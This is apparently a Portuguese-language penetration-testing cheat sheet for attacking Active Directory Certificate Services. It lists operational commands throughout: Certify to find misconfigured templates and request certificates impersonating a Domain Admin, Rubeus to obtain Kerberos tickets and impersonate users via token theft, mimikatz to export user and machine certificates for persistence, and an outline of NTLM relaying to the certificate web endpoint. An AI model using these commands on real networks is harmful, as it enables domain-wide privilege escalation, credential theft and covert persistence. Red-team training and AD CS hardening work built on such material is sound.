AD CS (Active Directory Certificate Services)

Os Serviços de Certificados do Active Directory (AD CS) são uma função de servidor que permite criar uma infraestrutura de chave pública (PKI). Isso pode fornecer criptografia de chave pública, certificados digitais e recursos de assinatura digital. Algumas aplicações práticas incluem extensões de correio de Internet seguras/multifuncionais (S/MIME), redes sem fio seguras, rede privada virtual (VPN), segurança de protocolo de Internet (IPsec), sistema de arquivos com criptografia (EFS), logon de cartão inteligente e Secure Socket Layer/ Segurança da camada de transporte (SSL/TLS).

Para localizar a CA (Autoridades de Certificação do) do AD CS em um domínio ou floresta, execute Certify como no comando abaixo. Atente-se aos campos Enterprise CA Name, Cert Chain, pois podemos ver qual CA é subordinada de qual e também se atente em analisar as permissões.

execute-assembly <C:\path\to\Certify\Certify\bin\Release\Certify.exe> cas

Os modelos de certificado AD CS são fornecidos pela Microsoft como ponto de partida para distribuição de certificados. Eles são projetados para serem duplicados e configurados para necessidades específicas. Configurações incorretas nesses modelos podem ser utilizadas para escalonamento de privilégios. Procurando vulnerabilidades em templates

execute-assembly <C:\path\to\Certify\Certify\bin\Release\Certify.exe> find /vulnerable

Analise a saída e verifique se tem a sessão Vulnerable Certificates Templates. Nele, veja campos como CA Name e Template Name. No campo msPKI-Certificate-Name-Flag, verifique se tem o valor ENROLLEE_SUPPLIES_SUBJECT, o que significa que temos permissão para que o solicitante do certificado forneça qualquer SAN (Subject Alternative Name - Nome Alternativo do Assunto). No campo Permissions, veja se algum grupo genérico (ex.: Domain Users) ou algum grupo no qual você faça parte, tenha algum acesso privilegiado. Ter acesso em Enrollment Rights, significa que qualquer usuário do Domínio pode solicitar um certificado deste template. Sendo assim, podemos solicitar um certificado para algum usuário do Domínio (de preferência algum que seja Domain Admin)

execute-assembly <C:\path\to\Certify\Certify\bin\Release\Certify.exe> request /ca:<CA_Name> /template:<Template_Name> /altname:<user>

Copie o certificado inteiro (a chave privada e o certificado) e salve-o em cert.pem (em algum Linux). Em seguida, execute o código abaixo para converter o arquivo em pfx, utilizando uma senha qualquer quando solicitado

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Converta precisamos converter cert.pfx em uma string codificada em base64 para que possa ser usado com Rubeus

cat cert.pfx | base64 -w 0

Fazendo uma requisição de TGT

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> asktgt /user:<user> /certificate:<base64> /password:<pass> /nowrap

Com o TGT em mãos, execute:

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /domain:<SUBDOMAIN> /username:<user> /password:<qualquer_senha> /ticket:<base64-ticket>
steal_token <ProcessID>

NTLM Relaying (HTTP Endpoints)

Os serviços AD CS oferecem suporte a métodos de registro HTTP e até incluem uma GUI. Esse endpoint geralmente é encontrado em http(s)://<hostname>/certsrv. Se a autenticação NTLM estiver habilitada, esses endpoints estarão vulneráveis a ataques de NTLM Relaying. Um método de abuso comum, é forçar o DC a se autenticar em um local (provavelmente um host) controlado pelo invasor, retransmitir a solicitação a uma CA para obter um certificado para esse DC e, em seguida, usá-lo para obter um TGT. Um aspecto importante a ser observado é que você não pode retransmitir a autenticação NTLM de volta para a máquina de origem. Portanto, não seríamos capazes de retransmitir um DC para uma CA se esses serviços estivessem sendo executados na mesma máquina. Em resumo, certifique-se de que o CA esteja em execução

Persistência de Usuários Através de Certificados

Enumerando os certificados. Certifique-se de ter um Certificate is used for client authentication! no final do certificado.

execute-assembly <C:\path\to\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe> Certificates

Caso o usuário não possua certificado em sua loja, basta solicitar um com Certify

execute-assembly <C:\path\to\Certify\Certify\bin\Release\Certify.exe> request /ca:<dc.domain.local>\<Enterprise_CA_Name> /template:User

Exportando os certificados. Verifique no final se os campos Public export Private export estão como OK.

mimikatz crypto::certificates /export

Para ver os certificados baixados (e também ver a sua localização), vá no Menu View > Downloads e utilize o botão Sync Files na parte inferior da página. Converta o arquivo .pfx exportado em base64

cat </path/to/CURRENT_USER_<My_0_User>.pfx | base64 -w 0

Utilize o Rubeus para obter um TGT. Note que estamos utilizando a senha mimikatz. Dessa forma, você solicitará tickets RC4 por padrão, porém você pode forçar o uso de AES256 incluindo o parâmetro /enctype:aes256.

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> asktgt /user:<user> /certificate:<certificate> /password:mimikatz /nowrap

Persistência de Computadores Através de Certificados

A forma utilizada aqui é bem parecida com os usuários, porém para computadores, precisamos de acessos privilegiados no OS. Execute o comando abaixo e assim como no caso dos usuários, certifique-se que os campos Public export Private export estão como OK.

mimikatz !crypto::certificates /systemstore:local_machine /export

Vá nos arquivos baixados novamente (Menu View > Downloads e utilize o botão Sync Files) para pegar o certificado e converter em base64

cat </path/to/CURRENT_MACHINE_<My_0_Machone>.pfx | base64 -w 0

Com o resultado do comando acima, execute o comando abaixo. Note que novamente estamos utilizando a senha mimikatz.

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> asktgt /user:<hostname>$ /enctype:aes256 /certificate:<certificate> /password:mimikatz /nowrap

Assim como na parte de usuário, vimos que é possível utilizar o Certify quando não temos um certificado armazendo. Com o computador é a mesmo coisa, porém além de alterarmos o template de User para Machine, também devemos acrescentar o parâmetro /machine, pois assim irá elevar nosso acesso para SYSTEM automaticamente.

execute-assembly <C:\path\to\Certify\Certify\bin\Release\Certify.exe> request /ca:<dc.domain.local>\<Enterprise_CA_Name> /template:Machine /machine

Sites

# Certify
https://github.com/GhostPack/Certify

# KrbRelayUp
https://github.com/ShorSec/KrbRelayUp

# KrbRelay
https://github.com/cube0x0/KrbRelay